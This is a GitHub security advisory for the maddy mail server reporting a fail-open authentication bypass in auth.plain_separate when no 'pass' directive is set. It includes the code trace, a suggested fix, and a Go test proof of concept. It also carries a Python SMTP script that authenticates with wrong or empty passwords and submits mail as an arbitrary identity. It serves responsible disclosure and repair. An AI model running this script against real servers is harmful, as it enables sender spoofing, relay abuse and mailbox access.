Skip to content

auth.plain_separate accepts any password when no 'pass' directive is configured (authentication bypass)

Critical
foxcpp published GHSA-g8mw-9qf4-cg5x Oct 3, 2026

Package

gomod github.com/foxcpp/maddy (Go)

Affected versions

<= 0.9.5

Patched versions

0.9.6

Description

Summary

auth.plain_separate returns success from AuthPlain when it has zero pass providers
configured. Its own documentation says the module uses "one or more authentication providers to
verify credentials" and that "if authentication with all providers fails, an error is returned", but
Configure never requires a pass directive and the provider loop leaves its error variable nil
when the list is empty. A configuration that omits pass therefore starts cleanly, logs nothing
unusual, and accepts every password on every endpoint that uses the module.

With a user table and no pass, any password authenticates any user listed in the table. With
neither directive, any username with any password authenticates, including an empty username and an
empty password.

Affected

v0.9.5 (the current release, 2026-05-23) and master. I reproduced it on the released
foxcpp/maddy:latest image, which reports {"version":"0.9.5"}.
In v0.9.5 internal/auth/plain_separate/plain_separate.go:
Configure at line 65, the optional pass callback at line 81, AuthPlain at line 117,
var lastErr error at line 133 and return lastErr at line 142.

The precondition, stated up front

This affects deployments whose config uses auth.plain_separate without a pass directive. A
config that includes pass is not affected, and I verified that with a control below. The shipped
maddy.conf uses auth.pass_table, so a stock install is not affected. What I am reporting is that
an incomplete plain_separate block fails open instead of being rejected at startup, and that
nothing in the log or the startup output tells the operator that password verification is not
happening.

What I traced

internal/auth/plain_separate/plain_separate.go (v0.9.5):

func (a *Auth) AuthPlain(username, password string) error {
	ok := len(a.userTbls) == 0            // line 118: zero tables means "any username", which the docs do describe
	for _, tbl := range a.userTbls { ... }
	if !ok {
		return errors.New("user not found in tables")
	}

	var lastErr error                     // line 133
	for _, p := range a.passwd {          // empty slice: body never runs
		if err := p.AuthPlain(username, password); err != nil {
			lastErr = err
			continue
		}
		return nil
	}
	return lastErr                        // line 142: nil == success
}

Configure (line 65) registers user and pass as optional callbacks and then calls
cfg.Process(). There is no post-processing check that len(a.passwd) > 0, so an incomplete block is
accepted. The zero-table branch at line 118 is documented behaviour ("zero or more" tables); the
empty-provider branch at 133/142 is not, and it is the defect.

What I observed

1. The module, with the project's own code

Test file added to the tree, run on master:

$ go test ./internal/auth/plain_separate/ -run TestPoC -v
=== RUN   TestPoC_NoPassDirective_AcceptsAnyPassword
    zz_poc_test.go:25: BYPASS: AuthPlain returned nil (success) with zero `pass` providers configured
--- PASS
=== RUN   TestPoC_Control_WithPassProvider_Rejects
    zz_poc_test.go:35: control OK: with one `pass` provider AuthPlain rejects -> bad credentials
--- PASS
=== RUN   TestPoC_Control_LookupZeroTablesIsDocumented
    zz_poc_test.go:47: control OK: Lookup with zero tables returns ok=true, which the docs describe
--- PASS

2. End to end over SMTP against a real maddy 0.9.5

Config A, a user table and no pass:

auth.plain_separate local_authdb {
    user file /data/users        # /data/users contains one line: alice@lab.test
}
submission tcp://0.0.0.0:2525 { auth &local_authdb  ... }
ATTACK   alice@lab.test / TOTALLY-WRONG-PASSWORD  -> 235 2.0.0 Authentication succeeded
ATTACK   alice@lab.test / (empty password)        -> 235 2.0.0 Authentication succeeded
CONTROL  notinusertable@lab.test / x              -> 535 5.7.8 Invalid credentials

The third line is the control that matters: the user table is consulted, and an unlisted
address is refused. So the difference between 235 and 535 is the missing password check and nothing
else.

Config B, the same file with one pass provider added and nothing else changed:

ATTACK   alice@lab.test / TOTALLY-WRONG-PASSWORD  -> 535 5.7.8 Invalid credentials
ATTACK   alice@lab.test / (empty password)        -> 535 5.7.8 Invalid credentials
CONTROL  notinusertable@lab.test / x              -> 535 5.7.8 Invalid credentials

Config C, auth.plain_separate local_authdb { } with neither directive:

ANY user / ANY password         -> 235 2.0.0 Authentication succeeded
empty username / empty password -> 235 2.0.0 Authentication succeeded
postmaster / wrong password     -> 235 2.0.0 Authentication succeeded

full session as an arbitrary identity:
    235 2.0.0 Authentication succeeded
    MAIL: 250 2.0.0 Roger, accepting mail from <attacker-not-a-user@lab.test>
    RCPT: 250 2.0.0 I'll make sure <victim@lab.test> gets this

The session is a real authenticated submission session, not just a 235: MAIL FROM and RCPT TO are
both accepted afterwards.

The behaviour stands on these transcripts either way. If my reading of the cause is wrong in some
detail, the bypass is still reproducible from the three configs above.

Impact

auth.plain_separate is endpoint-agnostic, so the blast radius is whatever endpoints reference it.
On a submission endpoint an unauthenticated network attacker becomes an authenticated submitter and
can send mail as any local identity, which is both sender spoofing from a domain that will pass the
domain's own SPF and DKIM, and an authenticated relay. On an imap endpoint the same bypass is
mailbox access for any account the user tables admit. I scored it
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, for the vulnerable configuration, with confidentiality
high because the normal maddy layout points submission and imap at the same auth module.

Suggested fix

Reject the configuration rather than the credential. In Configure, after cfg.Process():

if len(a.passwd) == 0 {
    return errors.New("plain_separate: at least one 'pass' directive is required")
}

That matches the documented contract ("one or more authentication providers"). As defence in depth,
make the loop fail closed as well, so a future refactor cannot reintroduce it:

lastErr := errors.New("plain_separate: no authentication providers configured")
for _, p := range a.passwd { ... }
return lastErr

I would also consider whether the zero-user-table case deserves a startup warning. It is documented
and I am not reporting it, but combined with a missing pass it turns into "authenticate anybody",
which is what Config C shows.

Reproduction files

internal/auth/plain_separate/zz_poc_test.go:

package plain_separate

import (
	"errors"
	"testing"
)

type alwaysReject struct{}

func (alwaysReject) AuthPlain(username, password string) error {
	return errors.New("bad credentials")
}

func TestPoC_NoPassDirective_AcceptsAnyPassword(t *testing.T) {
	a := &Auth{modName: "auth.plain_separate", instName: "poc"} // no userTbls, no passwd
	if err := a.AuthPlain("anyone-at-all", "totally-wrong-password"); err != nil {
		t.Fatalf("expected the fail-open, got error: %v", err)
	}
	t.Log("BYPASS: AuthPlain returned nil (success) with zero `pass` providers configured")
}

func TestPoC_Control_WithPassProvider_Rejects(t *testing.T) {
	a := &Auth{modName: "auth.plain_separate", instName: "poc"}
	a.passwd = append(a.passwd, alwaysReject{})
	if err := a.AuthPlain("anyone-at-all", "totally-wrong-password"); err == nil {
		t.Fatal("control failed: expected rejection with a pass provider present")
	} else {
		t.Logf("control OK: with one `pass` provider AuthPlain rejects -> %v", err)
	}
}

func TestPoC_Control_LookupZeroTablesIsDocumented(t *testing.T) {
	a := &Auth{modName: "auth.plain_separate", instName: "poc"}
	_, ok, err := a.Lookup(t.Context(), "anyone-at-all")
	if err != nil || !ok {
		t.Fatalf("expected documented zero-table behaviour, got ok=%v err=%v", ok, err)
	}
	t.Log("control OK: Lookup with zero tables returns ok=true, which the docs describe")
}

The SMTP driver, run against foxcpp/maddy:latest on 127.0.0.1:20061 with tls off:

import base64, socket

def sess(user, pw, do_mail=False, port=20061):
    s = socket.create_connection(("127.0.0.1", port), timeout=8)
    f = s.makefile("rwb")
    f.readline()
    f.write(b"EHLO poc.test\r\n"); f.flush()
    while True:
        l = f.readline().decode().strip()
        if l[3:4] == " ":
            break
    tok = base64.b64encode(b"\0" + user.encode() + b"\0" + pw.encode()).decode()
    f.write(("AUTH PLAIN " + tok + "\r\n").encode()); f.flush()
    auth = f.readline().decode().strip()
    out = [auth]
    if do_mail and auth.startswith("235"):
        f.write(("MAIL FROM:<" + user + ">\r\n").encode()); f.flush()
        out.append("MAIL: " + f.readline().decode().strip())
        f.write(b"RCPT TO:<victim@lab.test>\r\n"); f.flush()
        out.append("RCPT: " + f.readline().decode().strip())
    f.write(b"QUIT\r\n"); f.flush(); s.close()
    return out

print(sess("attacker-not-a-user@lab.test", "whatever", do_mail=True))

Disclosure

Reported privately through GitHub's private vulnerability reporting. Nothing is public and I will
hold for as long as you need. Please credit Elias Hasas (GitHub: zer0d4y5) if you publish.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Not Failing Securely

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions. Learn more on MITRE.

Improper Initialization

The product does not initialize or incorrectly initializes a resource. Learn more on MITRE.

Credits